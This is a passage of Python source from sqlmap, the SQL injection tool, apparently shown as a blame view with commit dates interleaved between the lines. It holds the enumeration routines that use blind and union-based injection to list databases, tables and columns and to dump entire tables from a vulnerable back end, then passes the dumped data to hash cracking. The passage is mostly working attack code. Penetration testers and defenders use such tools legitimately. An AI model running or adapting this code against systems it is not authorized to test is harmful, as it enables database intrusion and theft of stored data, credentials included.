query = rootQuery.blind.count
else:
query = rootQuery.blind.count % db
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
2010-11-02 14:59:24 +03:00
if kb.dbms in ( DBMS.MSSQL, DBMS.ORACLE ):
plusOne = True
else:
plusOne = False
2010-05-30 18:53:13 +04:00
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.SYBASE:
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
2010-11-03 01:11:45 +03:00
elif kb.dbms == DBMS.MAXDB:
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
2010-11-02 14:59:24 +03:00
elif kb.dbms in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index
else:
query = rootQuery.blind.query % (db, index)
2008-10-15 19:38:22 +04:00
table = inject.getValue(query, inband=False)
tables.append(table)
kb.hintValue = table
2008-10-15 19:38:22 +04:00
if tables:
kb.data.cachedTables[db] = tables
2008-10-15 19:38:22 +04:00
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedTables
2008-10-15 19:38:22 +04:00
def getColumns(self, onlyColNames=False):
bruteForce = False
2010-12-30 11:29:20 +03:00
if not conf.tbl:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
if "." in conf.tbl:
conf.db, conf.tbl = conf.tbl.split(".")
self.forceDbmsEnum()
2010-12-30 11:29:20 +03:00
if not conf.db:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to enumerate table "
warnMsg += "'%s' columns" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif kb.dbms == DBMS.ACCESS:
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
resumeAvailable = False
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == conf.tbl:
resumeAvailable = True
break
if resumeAvailable:
columns = {}
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == conf.tbl:
columns[colName] = colType
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
return kb.data.cachedColumns
message = "do you want to use common columns existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
2008-10-15 19:38:22 +04:00
firebirdTypes = {
"261":"BLOB",
"14":"CHAR",
"40":"CSTRING",
"11":"D_FLOAT",
"27":"DOUBLE",
"10":"FLOAT",
"16":"INT64",
"8":"INTEGER",
"9":"QUAD",
"7":"SMALLINT",
"12":"DATE",
"13":"TIME",
"35":"TIMESTAMP",
"37":"VARCHAR"
}
2008-10-15 19:38:22 +04:00
rootQuery = queries[kb.dbms].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
infoMsg = "fetching columns "
if conf.col:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.ORACLE:
conf.col = conf.col.upper()
colList = conf.col.split(",")
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
infoMsg += "like '%s' " % ", ".join(col for col in colList)
else:
condQuery = ""
infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2010-10-26 03:39:55 +04:00
if kb.unionPosition is not None or conf.direct:
2010-12-04 01:28:09 +03:00
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.inband.query % (conf.tbl, conf.db)
query += condQuery
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.ORACLE:
query = rootQuery.inband.query % conf.tbl.upper()
query += condQuery
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.MSSQL:
query = rootQuery.inband.query % (conf.db, conf.db,
2008-10-15 19:38:22 +04:00
conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.tbl)
query += condQuery.replace("[DB]", conf.db)
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.SQLITE:
query = rootQuery.inband.query % conf.tbl
2008-10-15 19:38:22 +04:00
2010-10-25 16:25:29 +04:00
value = inject.getValue(query, blind=False, error=False)
2008-10-15 19:38:22 +04:00
if kb.dbms == DBMS.SQLITE:
parseSqliteTableSchema(value)
elif value:
2008-10-15 19:38:22 +04:00
table = {}
columns = {}
for column, colType in value:
columns[column] = colType
2008-10-15 19:38:22 +04:00
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
2008-10-15 19:38:22 +04:00
if not kb.data.cachedColumns and not conf.direct:
infoMsg = "fetching number of columns "
infoMsg += "for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2010-12-04 01:28:09 +03:00
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.count % (conf.tbl, conf.db)
query += condQuery
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.ORACLE:
query = rootQuery.blind.count % conf.tbl.upper()
query += condQuery
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.MSSQL:
query = rootQuery.blind.count % (conf.db, conf.db, conf.tbl)
query += condQuery.replace("[DB]", conf.db)
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.FIREBIRD:
query = rootQuery.blind.count % (conf.tbl)
query += condQuery
elif kb.dbms == DBMS.SQLITE:
query = rootQuery.blind.query % conf.tbl
value = inject.getValue(query, inband=False)
parseSqliteTableSchema(value)
return kb.data.cachedColumns
2008-10-15 19:38:22 +04:00
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
table = {}
columns = {}
2010-01-11 16:06:16 +03:00
indexRange = getRange(count)
2008-10-15 19:38:22 +04:00
for index in indexRange:
2010-12-04 01:28:09 +03:00
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query % (conf.tbl, conf.db)
query += condQuery
field = None
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.ORACLE:
query = rootQuery.blind.query % (conf.tbl.upper())
query += condQuery
field = None
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.MSSQL:
query = rootQuery.blind.query % (conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.db,
conf.tbl)
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.FIREBIRD:
query = rootQuery.blind.query % (conf.tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field)
2008-10-15 19:38:22 +04:00
column = inject.getValue(query, inband=False)
if not onlyColNames:
2010-12-04 01:28:09 +03:00
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query2 % (conf.tbl, column, conf.db)
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.ORACLE:
query = rootQuery.blind.query2 % (conf.tbl.upper(), column)
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.MSSQL:
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db,
2008-10-15 19:38:22 +04:00
conf.db, column, conf.db,
conf.db, conf.db, conf.tbl)
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.FIREBIRD:
query = rootQuery.blind.query2 % (conf.tbl, column)
2008-10-15 19:38:22 +04:00
colType = inject.getValue(query, inband=False)
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.FIREBIRD:
colType = firebirdTypes[colType] if colType in firebirdTypes else colType
2008-10-15 19:38:22 +04:00
columns[column] = colType
else:
columns[column] = None
if columns:
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
2008-10-15 19:38:22 +04:00
if not kb.data.cachedColumns:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
return kb.data.cachedColumns
2008-10-15 19:38:22 +04:00
def dumpTable(self):
if not conf.tbl and not conf.col:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
if conf.col and not conf.tbl:
warnMsg = "missing table parameter. You only provided "
warnMsg += "column(s). sqlmap will search for all databases' "
warnMsg += "tables containing the provided column(s)"
logger.warn(warnMsg)
self.searchColumn()
return
if "." in conf.tbl:
conf.db, conf.tbl = conf.tbl.split(".")
self.forceDbmsEnum()
if not conf.db:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to dump table "
warnMsg += "'%s' entries" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
rootQuery = queries[kb.dbms].dump_table
if kb.dbms == DBMS.MYSQL:
if '-' in conf.tbl:
conf.tbl = "`%s`" % conf.tbl
if '-' in conf.db:
conf.db = "`%s`" % conf.db
if conf.col:
colList = conf.col.split(",")
kb.data.cachedColumns[conf.db] = {}
kb.data.cachedColumns[conf.db][conf.tbl] = {}
for column in colList:
kb.data.cachedColumns[conf.db][conf.tbl][column] = None
elif not kb.data.cachedColumns:
kb.data.cachedColumns = self.getColumns(onlyColNames=True)
if conf.col:
colList = conf.col.split(",")
elif kb.data.cachedColumns and conf.db in kb.data.cachedColumns and conf.tbl in kb.data.cachedColumns[conf.db]:
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
else:
errMsg = "missing column names, "
errMsg += "can't dump table"
raise sqlmapNoneDataException, errMsg
2010-12-18 01:23:01 +03:00
if colList in ([None], ['None']):
warnMsg = "unable to retrieve column names"
logger.warn(warnMsg)
return None
colString = ", ".join(column for column in colList)
infoMsg = "fetching"
if conf.col:
infoMsg += " columns '%s'" % colString
infoMsg += " entries for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
entriesCount = 0
2010-10-26 03:39:55 +04:00
if kb.unionPosition is not None or conf.direct:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.ORACLE:
query = rootQuery.inband.query % (colString, conf.tbl.upper())
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.SQLITE:
query = rootQuery.inband.query % (colString, conf.tbl)
else:
query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
2010-10-25 16:25:29 +04:00
entries = inject.getValue(query, blind=False, error=False, dump=True)
if entries:
if isinstance(entries, basestring):
entries = [ entries ]
entriesCount = len(entries)
index = 0
for column in colList:
colLen = len(column)
if not kb.data.dumpedTable.has_key(column):
kb.data.dumpedTable[column] = { "length": 0, "values": [] }
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, basestring):
colEntry = entry
else:
colEntry = entry[index] if index < len(entry) else u''
2010-06-02 16:45:40 +04:00
colEntryLen = len(getUnicode(colEntry))
maxLen = max(colLen, colEntryLen)
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
kb.data.dumpedTable[column]["values"].append(colEntry)
index += 1
if not kb.data.dumpedTable and not conf.direct:
infoMsg = "fetching number of "
if conf.col:
infoMsg += "columns '%s' " % colString
infoMsg += "entries for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.ORACLE:
query = rootQuery.blind.count % conf.tbl.upper()
elif kb.dbms in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % conf.tbl
else:
query = rootQuery.blind.count % (conf.db, conf.tbl)
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
return None
lengths = {}
entries = {}
2010-11-02 14:59:24 +03:00
if kb.dbms in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE):
plusOne = True
else:
plusOne = False
indexRange = getRange(count, dump=True, plusOne=plusOne)
2011-01-01 15:41:51 +03:00
try:
if kb.dbms == DBMS.ACCESS:
validColumnList = False
validPivotValue = False
2010-12-27 14:47:50 +03:00
2011-01-01 15:41:51 +03:00
for column in colList:
infoMsg = "fetching number of distinct "
infoMsg += "values for column '%s'" % column
logger.info(infoMsg)
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.count2 % (column, conf.tbl)
value = inject.getValue(query, inband=False)
2010-12-25 14:16:35 +03:00
2011-01-01 15:41:51 +03:00
if isNumPosStrValue(value):
validColumnList = True
if value == count:
infoMsg = "using column '%s' as a pivot " % column
infoMsg += "for retrieving row data"
logger.info(infoMsg)
2011-01-01 15:41:51 +03:00
validPivotValue = True
2010-12-27 14:47:50 +03:00
2011-01-01 15:41:51 +03:00
colList.remove(column)
colList.insert(0, column)
break
2010-12-25 14:16:35 +03:00
2011-01-01 15:41:51 +03:00
if not validColumnList:
errMsg = "all column name(s) provided are non-existent"
raise sqlmapNoneDataException, errMsg
2011-01-01 15:41:51 +03:00
if not validPivotValue:
warnMsg = "no proper pivot column provided (with unique values)."
warnMsg += " all rows can't be retrieved."
logger.warn(warnMsg)
2011-01-01 15:41:51 +03:00
pivotValue = " "
breakRetrieval = False
for index in indexRange:
if breakRetrieval:
break
for column in colList:
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = []
if column == colList[0]:
# Correction for pivotValues with unrecognized chars
if pivotValue and '?' in pivotValue and pivotValue[0]!='?':
pivotValue = pivotValue.split('?')[0]
pivotValue = pivotValue[:-1] + chr(ord(pivotValue[-1]) + 1)
query = rootQuery.blind.query % (column, conf.tbl, column, pivotValue)
2010-12-26 05:13:56 +03:00
else:
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.query2 % (column, conf.tbl, colList[0], pivotValue)
value = inject.getValue(query, inband=False)
if column == colList[0]:
if not value:
breakRetrieval = True
break
else:
pivotValue = value
lengths[column] = max(lengths[column], len(value) if value else 0)
2011-01-01 15:41:51 +03:00
entries[column].append(value)
2011-01-01 15:41:51 +03:00
else:
for index in indexRange:
for column in colList:
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = []
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query % (column, conf.db,
conf.tbl, index)
elif kb.dbms == DBMS.ORACLE:
query = rootQuery.blind.query % (column, column,
conf.tbl.upper(),
index)
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
query = rootQuery.blind.query % (column, index, conf.db,
conf.tbl, colList[0],
colList[0], colList[0])
elif kb.dbms == DBMS.SQLITE:
query = rootQuery.blind.query % (column, conf.tbl, index)
elif kb.dbms == DBMS.FIREBIRD:
query = rootQuery.blind.query % (index, column, conf.tbl)
value = inject.getValue(query, inband=False)
lengths[column] = max(lengths[column], len(value) if value else 0)
2011-01-01 15:41:51 +03:00
entries[column].append(value)
except KeyboardInterrupt:
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
except sqlmapConnectionException, e:
errMsg = "connection exception detected in dumping phase: "
errMsg += "'%s'" % e
logger.critical(errMsg)
for column, columnEntries in entries.items():
if lengths[column] < len(column):
length = len(column)
else:
length = lengths[column]
kb.data.dumpedTable[column] = { "length": length,
"values": columnEntries }
entriesCount = len(columnEntries)
if kb.data.dumpedTable:
kb.data.dumpedTable["__infos__"] = { "count": entriesCount,
"table": conf.tbl,
"db": conf.db }
else:
warnMsg = "unable to retrieve the entries of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
return None
attackDumpedTable()
return kb.data.dumpedTable
def dumpAll(self):
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
conf.db = None
conf.tbl = None
conf.col = None
kb.data.cachedDbs = []
kb.data.cachedTables = self.getTables()
2010-11-05 01:00:14 +03:00
if kb.data.cachedTables:
if isinstance(kb.data.cachedTables, list):
kb.data.cachedTables = { None : kb.data.cachedTables }
2010-11-05 01:00:14 +03:00
for db, tables in kb.data.cachedTables.items():
conf.db = db
2010-11-05 01:00:14 +03:00
for table in tables:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
2010-11-05 01:00:14 +03:00
data = self.dumpTable()
2010-11-05 01:00:14 +03:00
if data:
conf.dumper.dbTableValues(data)
def dumpFoundColumn(self, dbs, foundCols, colConsider):
if not dbs:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
conf.dumper.dbColumns(foundCols, colConsider, dbs)
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("y", "Y"):
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tblData in dbs.items():
if tblData:
message += "[%s]\n" % db
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromDbs = dbs.keys()
elif test in ("q", "Q"):
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tblData in dbs.items():
if db not in dumpFromDbs or not tblData:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % db
message += "[a]ll (default)\n"
for tbl in tblData:
message += "[%s]\n" % tbl
message += "[s]kip\n"
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromTbls = tblData
elif test in ("s", "S"):
continue
elif test in ("q", "Q"):
return
else:
dumpFromTbls = test.replace(" ", "").split(",")
for table, columns in tblData.items():
if table not in dumpFromTbls:
continue
conf.tbl = table
conf.col = ",".join(column for column in columns)
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
conf.dumper.dbTableValues(data)
def searchDb(self):
foundDbs = []
rootQuery = queries[kb.dbms].search_db
dbList = conf.db.split(",")
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % db
logger.info(infoMsg)
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
dbQuery = dbQuery % db
2010-10-26 03:39:55 +04:00
if kb.unionPosition is not None or conf.direct:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query += dbQuery
query += exclDbsQuery
2010-10-25 16:25:29 +04:00
values = inject.getValue(query, blind=False, error=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for value in values:
foundDbs.append(value)
else:
infoMsg = "fetching number of databases"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % db
logger.info(infoMsg)
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query += dbQuery
query += exclDbsQuery
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' found" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query += dbQuery
query += exclDbsQuery
query = agent.limitQuery(index, query, dbCond)
foundDbs.append(inject.getValue(query, inband=False))
return foundDbs
def searchTable(self):
bruteForce = False
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
elif kb.dbms == DBMS.ACCESS:
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
message = "do you want to use common table existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex)
rootQuery = queries[kb.dbms].search_table
foundTbls = {}
tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.ORACLE:
tbl = tbl.upper()
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % tbl
logger.info(infoMsg)
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
exclDbsQuery = ""
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % tbl
2010-10-26 03:39:55 +04:00
if kb.unionPosition is not None or conf.direct:
query = rootQuery.inband.query
query += tblQuery
query += exclDbsQuery
2010-10-25 16:25:29 +04:00
values = inject.getValue(query, blind=False, error=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundDb, foundTbl in values:
if foundDb in foundTbls:
foundTbls[foundDb].append(foundTbl)
else:
foundTbls[foundDb] = [ foundTbl ]
else:
infoMsg = "fetching number of databases with table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % tbl
logger.info(infoMsg)
query = rootQuery.blind.count
query += tblQuery
query += exclDbsQuery
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no databases have table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % tbl
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += tblQuery
query += exclDbsQuery
query = agent.limitQuery(index, query)
foundDb = inject.getValue(query, inband=False)
if foundDb not in foundTbls:
foundTbls[foundDb] = []
if tblConsider == "2":
foundTbls[foundDb].append(tbl)
if tblConsider == "2":
continue
for db in foundTbls.keys():
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (tbl, db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % tblQuery
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % tbl
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query)
foundTbl = inject.getValue(query, inband=False)
kb.hintValue = foundTbl
foundTbls[db].append(foundTbl)
return foundTbls
def searchColumn(self):
bruteForce = False
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
elif kb.dbms == DBMS.ACCESS:
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
message = "do you want to use common columns existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.col.split(","))
2010-12-27 03:41:16 +03:00
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("n", "N"):
self.dumpAll()
return
rootQuery = queries[kb.dbms].search_column
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
foundCols[column] = {}
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
exclDbsQuery = ""
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
2010-10-26 03:39:55 +04:00
if kb.unionPosition is not None or conf.direct:
query = rootQuery.inband.query
query += colQuery
query += exclDbsQuery
2010-10-25 16:25:29 +04:00
values = inject.getValue(query, blind=False, error=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundDb, foundTbl in values:
if foundDb not in dbs:
dbs[foundDb] = {}
if foundTbl not in dbs[foundDb]:
dbs[foundDb][foundTbl] = {}
if colConsider == "1":
conf.db = foundDb
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[foundDb][foundTbl].update(kb.data.cachedColumns[foundDb][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[foundDb][foundTbl][column] = None
if foundDb in foundCols[column]:
foundCols[column][foundDb].append(foundTbl)
else:
foundCols[column][foundDb] = [ foundTbl ]
else:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
query = rootQuery.blind.count
query += colQuery
query += exclDbsQuery
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
logger.warn(warnMsg)
continue
2010-01-11 16:06:16 +03:00
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += colQuery
query += exclDbsQuery
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False)
if db not in dbs:
dbs[db] = {}
if db not in foundCols[column]:
foundCols[column][db] = []
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % colQuery
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % colQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False)
kb.hintValue = tbl
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def search(self):
if conf.db:
conf.dumper.lister("found databases", self.searchDb())
2008-10-15 19:38:22 +04:00
if conf.tbl:
conf.dumper.dbTables(self.searchTable())
2008-10-15 19:38:22 +04:00
if conf.col:
self.searchColumn()
2008-10-15 19:38:22 +04:00
if not conf.db and not conf.tbl and not conf.col:
errMsg = "missing parameter, provide -D, -T or -C together "
errMsg += "with --search"
raise sqlmapMissingMandatoryOptionException, errMsg
2008-10-15 19:38:22 +04:00
def sqlQuery(self, query):
output = None
sqlType = None
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
